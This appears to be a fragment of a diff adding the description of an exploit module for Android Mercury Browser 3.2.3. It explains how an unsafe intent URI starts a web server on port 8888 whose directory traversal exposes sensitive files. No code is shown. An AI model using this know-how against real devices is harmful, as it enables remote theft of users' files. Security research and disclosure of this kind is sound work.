+        This module exploits an unsafe intent URI scheme and directory traversal found in
+        Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
+        private wifi manager activity, which starts a web server for Mercury on port 8888.
+        The webserver also suffers a directory traversal that allows remote access to
+        sensitive files.
